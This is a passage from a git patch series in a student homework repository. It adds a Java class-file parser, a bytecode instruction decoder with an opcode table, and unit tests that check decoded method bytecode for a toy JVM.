+		this.nameIndex = nameIndex;
+	}
+
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+
+	public void setDescriptorIndex(int descriptorIndex) {
+		this.descriptorIndex = descriptorIndex;
+	}
+
+
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+
+	public void setCodeAttr(CodeAttr codeAttr) {
+		this.codeAttr = codeAttr;
+	}
+
+
+	private Method(int accessFlag, int nameIndex, int descriptorIndex, ClassFile clzFile){
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.clzFile = clzFile;
+	}
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iterator) {
+		int accessFlag = iterator.nextU2ToInt();
+		int nameIndex = iterator.nextU2ToInt();
+		int descriptorIndex = iterator.nextU2ToInt();
+		Method method = new Method(accessFlag, nameIndex, descriptorIndex, clzFile);
+		int attributeCount = iterator.nextU2ToInt();
+		System.out.println("attributeCount : "+attributeCount);
+		if(attributeCount > 0){
+			int attrNameIndex = iterator.nextU2ToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			if(AttributeInfo.CODE.equals(attrName)){
+				iterator.back(2);
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iterator);
+				method.setCodeAttr(codeAttr);
+			}
+		}
+		
+		return method;
+	}
+
+	
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
index dead6bbad5..26e3ad765b 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
@@ -16,6 +16,7 @@
 import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
 import com.coding.basic.homework_04.jvm.info.UTF8Info;
 import com.coding.basic.homework_04.jvm.loader.ClassFileLoader;
+import com.coding.basic.homework_04.jvm.method.Method;
 
 
 
@@ -23,8 +24,8 @@ public class ClassFileloaderTest {
 
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "D:\\mygit\\coding2017-1\\group06\\1454385822\\bin";
-//	static String path1 = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
+//	static String path1 = "D:\\mygit\\coding2017-1\\group06\\1454385822\\bin";
+	static String path1 = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
 	static String path2 = "D:\temp";
 	static ClassFile clzFile = null;
 	static {
@@ -218,60 +219,61 @@ public void testReadFields(){
     		Assert.assertEquals("age:I", f.toString());
     	}
     }
-//    @Test
-//    public void testMethods(){
-//   
-//    	List<Method> methods = clzFile.getMethods();
-//    	ConstantPool pool = clzFile.getConstantPool();
-//    	
-//    	{
-//    		Method m = methods.get(0);    		
-//    		assertMethodEquals(pool,m,
-//    				"<init>",
-//    				"(Ljava/lang/String;I)V",
-//    				"2ab7000c2a2bb5000f2a1cb50011b1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(1);    
-//    		assertMethodEquals(pool,m,
-//    				"setName",
-//    				"(Ljava/lang/String;)V",
-//    				"2a2bb5000fb1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(2);    
-//    		assertMethodEquals(pool,m,
-//    				"setAge",
-//    				"(I)V",
-//    				"2a1bb50011b1");
-//    	}
-//    	{
-//    		Method m = methods.get(3); 
-//    		assertMethodEquals(pool,m,
-//    				"sayHello",
-//    				"()V",
-//    				"b2001c1222b60024b1");
-//    		
-//    	}
-//    	{
-//    		Method m = methods.get(4);    
-//    		assertMethodEquals(pool,m,
-//    				"main",
-//    				"([Ljava/lang/String;)V",
-//    				"bb000159122b101db7002d4c2bb6002fb1");
-//    	}
-//    }
-//    
-//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-//    	String methodName = pool.getUTF8String(m.getNameIndex());
-//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-//		String code = m.getCodeAttr().getCode();
-//		Assert.assertEquals(expectedName, methodName);
-//		Assert.assertEquals(expectedDesc, methodDesc);
-//		Assert.assertEquals(expectedCode, code);
-//    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+//		System.out.println("code : " + code);
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
    
 
 }
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
index c4518aa650..1e99d88145 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/util/ByteCodeIterator.java
@@ -1,6 +1,5 @@
 package com.coding.basic.homework_04.jvm.util;
 
-import java.io.UnsupportedEncodingException;
 import java.util.Arrays;
 
 public  class ByteCodeIterator {
@@ -37,16 +36,16 @@ public int nextU4ToInt() {
 	}
 
 	public String nextU4ToHexString() {
-		return Util.byteToHexString(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
 	}
 
-	public String nextUxToHexString(int len) throws UnsupportedEncodingException {
+	public String nextUxToHexString(int len) {
 		byte[] tmp = new byte[len];
 
 		for (int i = 0; i < len; i++) {
 			tmp[i] = codes[pos++];
 		}
-		return new String(tmp, "utf8");
+		return Util.byteToHexString(tmp).toLowerCase();
 
 	}
 

From 45d118b1cb5edccc39335133951f292e9b138e78 Mon Sep 17 00:00:00 2001
From: "yanght1454385822@qq.com" <yanght1454385822@qq.com>
Date: Tue, 25 Apr 2017 20:24:10 +0800
Subject: [PATCH 122/262] =?UTF-8?q?=E5=AD=97=E8=8A=82=E7=A0=81=E6=8C=87?=
 =?UTF-8?q?=E4=BB=A4=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../basic/homework_04/jvm/attr/CodeAttr.java  |  35 +++--
 .../basic/homework_04/jvm/clz/ClassFile.java  |  35 +++++
 .../homework_04/jvm/clz/ClassFileParser.java  |   8 +-
 .../basic/homework_04/jvm/cmd/BiPushCmd.java  |  27 ++++
 .../homework_04/jvm/cmd/ByteCodeCommand.java  | 127 +++++++++++++++
 .../homework_04/jvm/cmd/CommandParser.java    | 146 ++++++++++++++++++
 .../homework_04/jvm/cmd/GetFieldCmd.java      |  27 ++++
 .../jvm/cmd/GetStaticFieldCmd.java            |  25 +++
 .../homework_04/jvm/cmd/InvokeSpecialCmd.java |  27 ++++
 .../homework_04/jvm/cmd/InvokeVirtualCmd.java |  26 ++++
 .../basic/homework_04/jvm/cmd/LdcCmd.java     |  35 +++++
 .../homework_04/jvm/cmd/NewObjectCmd.java     |  25 +++
 .../homework_04/jvm/cmd/NoOperandCmd.java     |  29 ++++
 .../homework_04/jvm/cmd/OneOperandCmd.java    |  27 ++++
 .../homework_04/jvm/cmd/PutFieldCmd.java      |  25 +++
 .../homework_04/jvm/cmd/TwoOperandCmd.java    |  67 ++++++++
 .../jvm/constant/ConstantInfo.java            |  22 ++-
 .../basic/homework_04/jvm/info/ClassInfo.java |   8 +
 .../homework_04/jvm/info/FieldRefInfo.java    |   8 +
 .../homework_04/jvm/info/MethodRefInfo.java   |   8 +
 .../homework_04/jvm/info/NameAndTypeInfo.java |  28 ++--
 .../jvm/info/NullConstantInfo.java            |  11 ++
 .../homework_04/jvm/info/StringInfo.java      |   8 +
 .../basic/homework_04/jvm/info/UTF8Info.java  |   8 +
 .../jvm/loader/ClassFileLoader.java           |   5 -
 .../basic/homework_04/jvm/method/Method.java  |   7 +-
 .../jvm/print/ClassFilePrinter.java           |  45 ++++++
 .../jvm/print/ConstantPoolPrinter.java        | 105 +++++++++++++
 .../jvm/test/ClassFileloaderTest.java         |  84 +++++++++-
 .../homework_06/expr/InfixToPostfix.java      |  33 ++++
 .../homework_06/expr/InfixToPostfixTest.java  |  39 +++++
 .../basic/homework_06/expr/PostfixExpr.java   |  46 ++++++
 .../homework_06/expr/PostfixExprTest.java     |  37 +++++
 .../basic/homework_06/expr/PrefixExpr.java    |  45 ++++++
 .../homework_06/expr/PrefixExprTest.java      |  44 ++++++
 .../basic/homework_06/expr/TokenParser.java   |  14 +-
 36 files changed, 1249 insertions(+), 47 deletions(-)
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/BiPushCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/CommandParser.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetFieldCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/LdcCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NewObjectCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NoOperandCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/OneOperandCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/PutFieldCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ClassFilePrinter.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfix.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/InfixToPostfixTest.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExpr.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/PostfixExprTest.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExpr.java
 create mode 100644 group06/1454385822/src/com/coding/basic/homework_06/expr/PrefixExprTest.java

diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
index 93db2686f0..c82682e272 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/attr/CodeAttr.java
@@ -1,8 +1,8 @@
 package com.coding.basic.homework_04.jvm.attr;
 
-import java.io.UnsupportedEncodingException;
-
 import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.cmd.ByteCodeCommand;
+import com.coding.basic.homework_04.jvm.cmd.CommandParser;
 import com.coding.basic.homework_04.jvm.constant.ConstantPool;
 import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
 
@@ -12,25 +12,34 @@ public class CodeAttr extends AttributeInfo{
 	private int attrLength;
 	private int maxStack;
 	private int maxLocals;
+	private int codeLen;
 	private String code;
+	private ByteCodeCommand[] cmds ;
+	
+	
+	
 	private ClassFile clzFile;
 	private LineNumberTable lineNumberTable;
 	private LocalVariableTable localVariableTable;
 	
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
 	
-	public CodeAttr(int attrNameIndex, int attrLength, int maxStack, int maxLocals, String code, ClassFile clzFile){
-		super(attrNameIndex, attrLength);
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
 		this.code = code;
-		this.clzFile = clzFile;
+		this.cmds = cmds;
 	}
 	public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		/*for(int i=0;i<cmds.length;i++){
+//		buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
 			buffer.append(cmds[i].toString(pool)).append("\n");
-		}*/
+		}
 		buffer.append("\n");
 		buffer.append(this.lineNumberTable.toString());
 		buffer.append(this.localVariableTable.toString(pool));
@@ -40,17 +49,16 @@ public String toString(ConstantPool pool){
 	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iterator) {
 		CodeAttr codeAttr = null;
 		int attrNameIndex = iterator.nextU2ToInt();
-//			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
-//			System.out.println("attrName : " +attrName);
 		int attrLength = iterator.nextU4ToInt();
 		int maxStack = iterator.nextU2ToInt();
 		int maxLocals = iterator.nextU2ToInt();
 		int codeLength = iterator.nextU4ToInt();
 		String code = iterator.nextUxToHexString(codeLength);
-		System.out.println("codeLength : " + codeLength);
-		codeAttr = new CodeAttr(attrNameIndex, attrLength, maxStack, maxLocals, code, clzFile);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+		
+		codeAttr = new CodeAttr(attrNameIndex, attrLength, maxStack, maxLocals, codeLength, code, cmds);
+		
 		int exceptionTableLength = iterator.nextU2ToInt();
-//			System.out.println("exceptionTableLength: " + exceptionTableLength);
 		if(exceptionTableLength > 0){
 			throw new RuntimeException("ExceptionTable  has not been implemented");
 		}
@@ -63,7 +71,6 @@ private static void parseSubAttr(CodeAttr codeAttr, ByteCodeIterator iterator, C
 		for(int i=0; i<attributeCount; i++){
 			int subAttrNameIndex = iterator.nextU2ToInt();
 			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrNameIndex);
-			System.out.println("subAttrName :" +subAttrName);
 			iterator.back(2);
 			if(AttributeInfo.LINE_NUM_TABLE.equals(subAttrName)){
 				LineNumberTable lineNumberTable = LineNumberTable.parse(iterator);
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
index 8d2cb4c18b..5a1abf9dad 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFile.java
@@ -6,6 +6,7 @@
 import com.coding.basic.homework_04.jvm.attr.AccessFlag;
 import com.coding.basic.homework_04.jvm.constant.ConstantPool;
 import com.coding.basic.homework_04.jvm.field.Field;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
 import com.coding.basic.homework_04.jvm.method.Method;
 
 public class ClassFile {
@@ -21,6 +22,29 @@ public class ClassFile {
 	private List<Field> fields = new ArrayList<Field>();
 	private List<Method> methods = new ArrayList<Method>();
 	
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method method : methods){
+			String name = constantPool.getUTF8String(method.getNameIndex());
+			String descriptor = constantPool.getUTF8String(method.getDescriptorIndex());
+			if(name.equals(methodName) && descriptor.equals(paramAndReturnType)){
+				return method;
+			}
+		}
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		for(Method method : methods){
+			String name = constantPool.getUTF8String(method.getNameIndex());
+			String descriptor = constantPool.getUTF8String(method.getDescriptorIndex());
+			if(name.equals("main") && descriptor.equals("([Ljava/lang/String;)V")){
+				return method;
+			}
+		}
+		return null;
+	}
+	
 	public void addMethod(Method method){
 		methods.add(method);
 	}
@@ -124,6 +148,17 @@ public void setConstantPool(ConstantPool constantPool) {
 	public List<Field> getFields() {
 		return fields;
 	}
+	
+	public String getClassName() {
+		ClassInfo clzInfo = (ClassInfo)constantPool.getConstantInfo(1);
+		String clzName = clzInfo.getClassName();
+		return clzName;
+	}
+	public String getSuperClassName() {
+		ClassInfo clzInfo = (ClassInfo)constantPool.getConstantInfo(3);
+		String clzName = clzInfo.getClassName();
+		return clzName;
+	}
 
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
index 450ee999b2..ba3575a309 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/clz/ClassFileParser.java
@@ -29,7 +29,6 @@ public ClassFile parser(byte[] codes) {
 		clzFile.setMajorVersion(iterator.nextU2ToInt());
 		clzFile.setConstantNum(iterator.nextU2ToInt());
 		
-		System.out.println("Constant Pool Count :" + clzFile.getConstantNum());
 		
 
 		clzFile.setConstantPool(parserConstantPool(iterator));
@@ -59,7 +58,6 @@ private void parseClzIndex(ClassFile clzFile, ByteCodeIterator iterator) {
 
 	private void parseMethod(ClassFile clzFile, ByteCodeIterator iterator) {
 		int methodCount = iterator.nextU2ToInt();
-		System.out.println("methodCount : " + methodCount);
 		for(int i=0; i<methodCount; i++){
 			Method method = Method.parse(clzFile, iterator);
 			clzFile.addMethod(method);
@@ -76,7 +74,6 @@ private void parseField(ClassFile clzFile, ByteCodeIterator iterator) {
 
 	private void parseInterface(ByteCodeIterator iterator) {
 		int count = iterator.nextU2ToInt();
-		System.out.println("interface count:" + count);
 		//TODO 如果类中有接口，这里需要解析
 	}
 
@@ -122,14 +119,13 @@ private ConstantPool parserConstantPool(ByteCodeIterator iterator){
 				pool.addConstantInfo(methodRefInfo);
 			}else if(tag == 12){ //NameAndType info
 				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-				nameAndTypeInfo.setClz_index(iterator.nextU2ToInt());
-				nameAndTypeInfo.setDescriptor_index(iterator.nextU2ToInt());
+				nameAndTypeInfo.setIndex1(iterator.nextU2ToInt());
+				nameAndTypeInfo.setIndex2(iterator.nextU2ToInt());
 				pool.addConstantInfo(nameAndTypeInfo);
 			}else{
 				throw new RuntimeException("this tag" + tag+"has no already implement yet!!");
 			}
 		}
-		System.out.println("pool size:" +pool.getSize());
 		
 		System.out.println("finished parser constantPool!!");
 		return pool;
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/BiPushCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..9a56434554
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,27 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/ByteCodeCommand.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..2a95ed81a3
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,127 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+//	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/CommandParser.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..7ee414f8a8
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/CommandParser.java
@@ -0,0 +1,146 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		//?为啥是大写的
+		codes = codes.toUpperCase();
+		
+		CommandIterator iterator = new CommandIterator(codes);
+		List<ByteCodeCommand> commands = new ArrayList<ByteCodeCommand>();
+		while(iterator.hasNext()){
+			String opCode = iterator.next2CharAsString();
+			if(new_object.equals(opCode)){
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(ldc.equals(opCode)){
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(bipush.equals(opCode)){
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(invokespecial.equals(opCode)){
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(invokevirtual.equals(opCode)){
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(getfield.equals(opCode)){
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(putfield.equals(opCode)){
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(getstatic.equals(opCode)){
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(dup.equals(opCode) || astore_1.equals(opCode) || aload_0.equals(opCode) ||
+					aload_1.equals(opCode) || aload_2.equals(opCode) || iload.equals(opCode) || iload_1.equals(opCode)|| iload_2.equals(opCode) || iload_3.equals(opCode) || fload_3.equals(opCode) || 
+					voidreturn.equals(opCode)){
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				commands.add(cmd);
+			}else{
+				throw new RuntimeException("sorry , the java instruction " + opCode + "has not implemented");
+			}
+		}
+		//计算偏移量
+		calcuateOffset(commands);
+		
+		ByteCodeCommand[] result = new ByteCodeCommand[commands.size()];
+		commands.toArray(result);
+		
+		return result;
+	}
+
+	
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetFieldCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2ffe6d14a1
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,27 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
